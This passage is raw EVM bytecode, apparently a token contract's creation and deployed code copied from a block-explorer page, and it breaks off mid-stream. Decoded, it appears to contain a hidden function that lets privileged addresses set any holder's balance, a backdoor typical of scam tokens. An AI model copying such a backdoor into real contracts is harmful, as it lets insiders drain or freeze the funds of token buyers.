000000000000815250613a63565b905092915050565b6000600267ffffffffffffffff8111156136c2576136c16146f4565b5b6040519080825280602002602001820160405280156136f05781602001602082028036833780820191505090505b50905030816000815181106137085761370761416c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156137af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137d39190614116565b816001815181106137e7576137e661416c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061384e30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612708565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016138b295949392919061481c565b600060405180830381600087803b1580156138cc57600080fd5b505af11580156138e0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613915929190614876565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613967573d6000803e3d6000fd5b505050565b61399930601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612708565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806139e5611d9b565b426040518863ffffffff1660e01b8152600401613a07969594939291906148a6565b60606040518083038185885af1158015613a25573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613a4a919061491c565b5050505050565b6000613a5c82613ac6565b9050919050565b60008083118290613aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613aa19190613b60565b60405180910390fd5b5060008385613ab99190614631565b9050809150509392505050565b6000819050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613b0a578082015181840152602081019050613aef565b60008484015250505050565b6000601f19601f8301169050919050565b6000613b3282613ad0565b613b3c8185613adb565b9350613b4c818560208601613aec565b613b5581613b16565b840191505092915050565b60006020820190508181036000830152613b7a8184613b27565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613bb782613b8c565b9050919050565b613bc781613bac565b8114613bd257600080fd5b50565b600081359050613be481613bbe565b92915050565b6000819050919050565b613bfd81613bea565b8114613c0857600080fd5b50565b600081359050613c1a81613bf4565b92915050565b60008060408385031215613c3757613c36613b82565b5b6000613c4585828601613bd5565b9250506020613c5685828601613c0b565b9150509250929050565b60008115159050919050565b613c7581613c60565b82525050565b6000602082019050613c906000830184613c6c565b92915050565b6000613ca182613b8c565b9050919050565b613cb181613c96565b82525050565b6000602082019050613ccc6000830184613ca8565b92915050565b6000819050919050565b6000613cf7613cf2613ced84613b8c565b613cd2565b613b8c565b9050919050565b6000613d0982613cdc565b9050919050565b6000613d1b82613cfe565b9050919050565b613d2b81613d10565b82525050565b6000602082019050613d466000830184613d22565b92915050565b613d5581613bea565b82525050565b6000602082019050613d706000830184613d4c565b92915050565b600080600060608486031215613d8f57613d8e613b82565b5b6000613d9d86828701613bd5565b9350506020613dae86828701613bd5565b9250506040613dbf86828701613c0b565b9150509250925092565b613dd281613c60565b8114613ddd57600080fd5b50565b600081359050613def81613dc9565b92915050565b600060208284031215613e0b57613e0a613b82565b5b6000613e1984828501613de0565b91505092915050565b613e2b81613bac565b82525050565b6000602082019050613e466000830184613e22565b92915050565b600060208284031215613e6257613e61613b82565b5b6000613e7084828501613bd5565b91505092915050565b600060ff82169050919050565b613e8f81613e79565b82525050565b6000602082019050613eaa6000830184613e86565b92915050565b600060208284031215613ec657613ec5613b82565b5b6000613ed484828501613c0b565b91505092915050565b600080600060608486031215613ef657613ef5613b82565b5b6000613f0486828701613c0b565b9350506020613f1586828701613c0b565b9250506040613f2686828701613c0b565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112613f5557613f54613f30565b5b8235905067ffffffffffffffff811115613f7257613f71613f35565b5b602083019150836020820283011115613f8e57613f8d613f3a565b5b9250929050565b600080600060408486031215613fae57613fad613b82565b5b600084013567ffffffffffffffff811115613fcc57613fcb613b87565b5b613fd886828701613f3f565b93509350506020613feb86828701613de0565b9150509250925092565b6000806040838503121561400c5761400b613b82565b5b600061401a85828601613bd5565b925050602061402b85828601613bd5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061407c57607f821691505b60208210810361408f5761408e614035565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006140cb602083613adb565b91506140d682614095565b602082019050919050565b600060208201905081810360008301526140fa816140be565b9050919050565b60008151905061411081613bbe565b92915050565b60006020828403121561412c5761412b613b82565b5b600061413a84828501614101565b91505092915050565b60006040820190506141586000830185613e22565b6141656020830184613e22565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006141d582613bea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036142075761420661419b565b5b600182019050919050565b600061421d82613bea565b915061422883613bea565b92508282019050808211156142405761423f61419b565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061427c601b83613adb565b915061428782614246565b602082019050919050565b600060208201905081810360008301526142ab8161426f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061430e602483613adb565b9150614319826142b2565b604082019050919050565b6000602082019050818103600083015261433d81614301565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006143a0602283613adb565b91506143ab82614344565b604082019050919050565b600060208201905081810360008301526143cf81614393565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614432602583613adb565b915061443d826143d6565b604082019050919050565b6000602082019050818103600083015261446181614425565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144c4602383613adb565b91506144cf82614468565b604082019050919050565b600060208201905081810360008301526144f3816144b7565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000614556602883613adb565b9150614561826144fa565b604082019050919050565b6000602082019050818103600083015261458581614549565b9050919050565b600061459782613bea565b91506145a283613bea565b92508282039050818111156145ba576145b961419b565b5b92915050565b60006145cb82613bea565b91506145d683613bea565b92508282026145e481613bea565b915082820484148315176145fb576145fa61419b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061463c82613bea565b915061464783613bea565b92508261465757614656614602565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006146be602183613adb565b91506146c982614662565b604082019050919050565b600060208201905081810360008301526146ed816146b1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061474861474361473e84614723565b613cd2565b613bea565b9050919050565b6147588161472d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61479381613bac565b82525050565b60006147a5838361478a565b60208301905092915050565b6000602082019050919050565b60006147c98261475e565b6147d38185614769565b93506147de8361477a565b8060005b8381101561480f5781516147f68882614799565b9750614801836147b1565b9250506001810190506147e2565b5085935050505092915050565b600060a0820190506148316000830188613d4c565b61483e602083018761474f565b818103604083015261485081866147be565b905061485f6060830185613e22565b61486c6080830184613d4c565b9695505050505050565b600060408201905061488b6000830185613d4c565b818103602083015261489d81846147be565b90509392505050565b600060c0820190506148bb6000830189613e22565b6148c86020830188613d4c565b6148d5604083018761474f565b6148e2606083018661474f565b6148ef6080830185613e22565b6148fc60a0830184613d4c565b979650505050505050565b60008151905061491681613bf4565b92915050565b60008060006060848603121561493557614934613b82565b5b600061494386828701614907565b935050602061495486828701614907565b925050604061496586828701614907565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122052af42ecbe005a92286032f4fda696f45796abfe05761a9f490252bcb3cff82864736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610d75578063f2514e8814610d9e578063f2fde38b14610ddb578063f872858a14610e045761038c565b8063da00097d14610cb7578063dc44b6a014610ce2578063dd62ed3e14610d0d578063f0cd1dac14610d4a5761038c565b8063c8607952116100dc578063c860795214610bfb578063c867d60b14610c26578063cab0347114610c63578063cc16f5db14610c8e5761038c565b8063c49b9a8014610b7c578063c5d2418914610ba5578063c816841b14610bd05761038c565b8063a08e671f1161016f578063a83f53a711610149578063a83f53a714610ac0578063a9059cbb14610aeb578063c2d4640e14610b28578063c469b6dd14610b515761038c565b8063a08e671f14610a2f578063a457c2d714610a5a578063a5d69d1f14610a975761038c565b806395d89b41116101ab57806395d89b41146109835780639c64954e146109ae578063a06b98f8146109d9578063a073d37f14610a045761038c565b80638b42507f146108f25780638da5cb5b1461092f5780639174c79d1461095a5761038c565b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610846578063807c2d9c1461087157806382eefb431461089c57806388790a68146108c75761038c565b80636249faf11461077a57806370a08231146107a3578063758e6bb1146107e057806377f31d031461081d5761038c565b806357a5802f1161029057806357a5802f146106be5780635881f3ef146106e957806360efb94f1461072657806361a23c691461074f5761038c565b80633b97084a1461062d57806342efd370146106565780634a74bb02146106935761038c565b806327c8f83511610323578063313ce567116102fd578063313ce5671461055f57806335d236151461058a57806339509351146105b35780633b646444146105f05761038c565b806327c8f835146104e05780632b112e491461050b5780632c4b2334146105365761038c565b80631694505e1161035f5780631694505e1461042457806318160ddd1461044f57806323b872dd1461047a5780632563ae83146104b75761038c565b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610e2f565b6040516103b39190613b60565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190613c20565b610ec1565b6040516103f09190613c7b565b60405180910390f35b34801561040557600080fd5b5061040e610edf565b60405161041b9190613cb7565b60405180910390f35b34801561043057600080fd5b50610439610f05565b6040516104469190613d31565b60405180910390f35b34801561045b57600080fd5b50610464610f2b565b6040516104719190613d5b565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c9190613d76565b610f35565b6040516104ae9190613c7b565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190613df5565b61100f565b005b3480156104ec57600080fd5b506104f56110c1565b6040516105029190613e31565b60405180910390f35b34801561051757600080fd5b506105206110e5565b60405161052d9190613d5b565b60405180910390f35b34801561054257600080fd5b5061055d60048036038101906105589190613e4c565b611129565b005b34801561056b57600080fd5b50610574611202565b6040516105819190613e95565b60405180910390f35b34801561059657600080fd5b506105b160048036038101906105ac9190613e4c565b611219565b005b3480156105bf57600080fd5b506105da60048036038101906105d59190613c20565b6112f2565b6040516105e79190613c7b565b60405180910390f35b3480156105fc57600080fd5b5061061760048036038101906106129190613e4c565b6113a5565b6040516106249190613c7b565b60405180910390f35b34801561063957600080fd5b50610654600480360381019061064f9190613eb0565b6113c5565b005b34801561066257600080fd5b5061067d60048036038101906106789190613e4c565b611464565b60405161068a9190613c7b565b60405180910390f35b34801561069f57600080fd5b506106a8611484565b6040516106b59190613c7b565b60405180910390f35b3480156106ca57600080fd5b506106d3611497565b6040516106e09190613d5b565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b9190613e4c565b61149d565b60405161071d9190613e31565b60405180910390f35b34801561073257600080fd5b5061074d60048036038101906107489190613edd565b6119a0565b005b34801561075b57600080fd5b50610764611a80565b6040516107719190613d5b565b60405180910390f35b34801561078657600080fd5b506107a1600480360381019061079c9190613f95565b611a86565b005b3480156107af57600080fd5b506107ca60048036038101906107c59190613e4c565b611bc0565b6040516107d79190613d5b565b60405180910390f35b3480156107ec57600080fd5b5061080760048036038101906108029190613e4c565b611c09565b6040516108149190613c7b565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f9190613f95565b611c29565b005b34801561085257600080fd5b5061085b611d63565b6040516108689190613d5b565b60405180910390f35b34801561087d57600080fd5b50610886611d69565b6040516108939190613d5b565b60405180910390f35b3480156108a857600080fd5b506108b1611d6f565b6040516108be9190613d5b565b60405180910390f35b3480156108d357600080fd5b506108dc611d75565b6040516108e99190613d5b565b60405180910390f35b3480156108fe57600080fd5b5061091960048036038101906109149190613e4c565b611d7b565b6040516109269190613c7b565b60405180910390f35b34801561093b57600080fd5b50610944611d9b565b6040516109519190613e31565b60405180910390f35b34801561096657600080fd5b50610981600480360381019061097c9190613edd565b611dc4565b005b34801561098f57600080fd5b50610998611ea4565b6040516109a59190613b60565b60405180910390f35b3480156109ba57600080fd5b506109c3611f36565b6040516109d09190613d5b565b60405180910390f35b3480156109e557600080fd5b506109ee611f3c565b6040516109fb9190613cb7565b60405180910390f35b348015610a1057600080fd5b50610a19611f62565b604051610a269190613d5b565b60405180910390f35b348015610a3b57600080fd5b50610a44611f6c565b604051610a519190613d5b565b60405180910390f35b348015610a6657600080fd5b50610a816004803603810190610a7c9190613c20565b611f72565b604051610a8e9190613c7b565b60405180910390f35b348015610aa357600080fd5b50610abe6004803603810190610ab99190613df5565b61203f565b005b348015610acc57600080fd5b50610ad56120f1565b604051610ae29190613d5b565b60405180910390f35b348015610af757600080fd5b50610b126004803603810190610b0d9190613c20565b6120f7565b604051610b1f9190613c7b565b60405180910390f35b348015610b3457600080fd5b50610b4f6004803603810190610b4a9190613edd565b612116565b005b348015610b5d57600080fd5b50610b666121f6565b604051610b739190613d5b565b60405180910390f35b348015610b8857600080fd5b50610ba36004803603810190610b9e9190613df5565b6121fc565b005b348015610bb157600080fd5b50610bba6122e5565b604051610bc79190613d5b565b60405180910390f35b348015610bdc57600080fd5b50610be56122eb565b604051610bf29190613e31565b60405180910390f35b348015610c0757600080fd5b50610c10612311565b604051610c1d9190613d5b565b60405180910390f35b348015610c3257600080fd5b50610c4d6004803603810190610c489190613e4c565b612317565b604051610c5a9190613c7b565b60405180910390f35b348015610c6f57600080fd5b50610c78612337565b604051610c859190613d5b565b60405180910390f35b348015610c9a57600080fd5b50610cb56004803603810190610cb09190613c20565b61233d565b005b348015610cc357600080fd5b50610ccc6123d8565b604051610cd99190613c7b565b60405180910390f35b348015610cee57600080fd5b50610cf76123eb565b604051610d049190613d5b565b60405180910390f35b348015610d1957600080fd5b50610d346004803603810190610d2f9190613ff5565b6123f1565b604051610d419190613d5b565b60405180910390f35b348015610d5657600080fd5b50610d5f612478565b604051610d6c9190613d5b565b60405180910390f35b348015610d8157600080fd5b50610d9c6004803603810190610d979190613eb0565b61247e565b005b348015610daa57600080fd5b50610dc56004803603810190610dc09190613e4c565b61251d565b604051610dd29190613c7b565b60405180910390f35b348015610de757600080fd5b50610e026004803603810190610dfd9190613e4c565b61253d565b005b348015610e1057600080fd5b50610e1961268f565b604051610e269190613c7b565b60405180910390f35b606060028054610e3e90614064565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6a90614064565b8015610eb75780601f10610e8c57610100808354040283529160200191610eb7565b820191906000526020600020905b815481529060010190602001808311610e9a57829003601f168201915b5050505050905090565b6000610ed5610ece612700565b8484612708565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6000610f428484846128d1565b5061100484610f4f612700565b610fff8560405180606001604052806028815260200161497060289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fb5612700565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f059092919063ffffffff16565b612708565b600190509392505050565b611017612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b906140e1565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111246111137f000000000000000000000000000000000000000000000000000000000000dead611bc0565b601a54612f6990919063ffffffff16565b905090565b611131612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b5906140e1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611221612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906140e1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061139b6112ff612700565b846113968560076000611310612700565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a290919063ffffffff16565b612708565b6001905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6113cd612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611451906140e1565b60405180910390fd5b80601d8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b60145481565b60006114a7612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b906140e1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a89190614116565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561160f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116339190614116565b6040518363ffffffff1660e01b8152600401611650929190614143565b602060405180830381865afa15801561166d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116919190614116565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611824578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611712573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117369190614116565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561179d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c19190614116565b6040518363ffffffff1660e01b81526004016117de929190614143565b6020604051808303816000875af11580156117fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118219190614116565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6119a8612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c906140e1565b60405180910390fd5b82600e8190555081600f8190555080601081905550611a75601054611a67600f54600e546126a290919063ffffffff16565b6126a290919063ffffffff16565b601781905550505050565b60155481565b611a8e612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b12906140e1565b60405180910390fd5b60005b83839050811015611bba578160096000868685818110611b4157611b4061416c565b5b9050602002016020810190611b569190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611bb2906141ca565b915050611b1e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b611c31612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb5906140e1565b60405180910390fd5b60005b83839050811015611d5d578160086000868685818110611ce457611ce361416c565b5b9050602002016020810190611cf99190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d55906141ca565b915050611cc1565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611dcc612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e50906140e1565b60405180910390fd5b826011819055508160128190555080601381905550611e99601354611e8b6012546011546126a290919063ffffffff16565b6126a290919063ffffffff16565b601881905550505050565b606060038054611eb390614064565b80601f0160208091040260200160405190810160405280929190818152602001828054611edf90614064565b8015611f2c5780601f10611f0157610100808354040283529160200191611f2c565b820191906000526020600020905b815481529060010190602001808311611f0f57829003601f168201915b5050505050905090565b60015481565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601d54905090565b60195481565b6000612035611f7f612700565b84612030856040518060600160405280602581526020016149986025913960076000611fa9612700565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f059092919063ffffffff16565b612708565b6001905092915050565b612047612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cb906140e1565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b600061210b612104612700565b84846128d1565b506001905092915050565b61211e612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a2906140e1565b60405180910390fd5b8260148190555081601581905550806016819055506121eb6016546121dd6015546014546126a290919063ffffffff16565b6126a290919063ffffffff16565b601981905550505050565b60105481565b612204612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612288906140e1565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516122da9190613c7b565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123d45780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b612486612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250a906140e1565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612545612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c9906140e1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b60008082846126b19190614212565b9050838110156126f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ed90614292565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276e90614324565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127dd906143b6565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128c49190613d5b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293890614448565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a7906144da565b60405180910390fd5b601f60149054906101000a900460ff16156129d7576129d0848484612fb3565b9050612efe565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a7b5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ac657601b54821115612ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abc9061456c565b60405180910390fd5b5b6000612ad130611bc0565b90506000601d548210159050808015612af75750601f60149054906101000a900460ff16155b8015612b4d5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b655750601f60159054906101000a900460ff165b15612b8f57601f60169054906101000a900460ff1615612b8557601d5491505b612b8e82613186565b5b612b9886613377565b15612c3357612bef84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6990919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cd65750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612cea57612ce58787876133ba565b612cec565b845b9050601f60179054906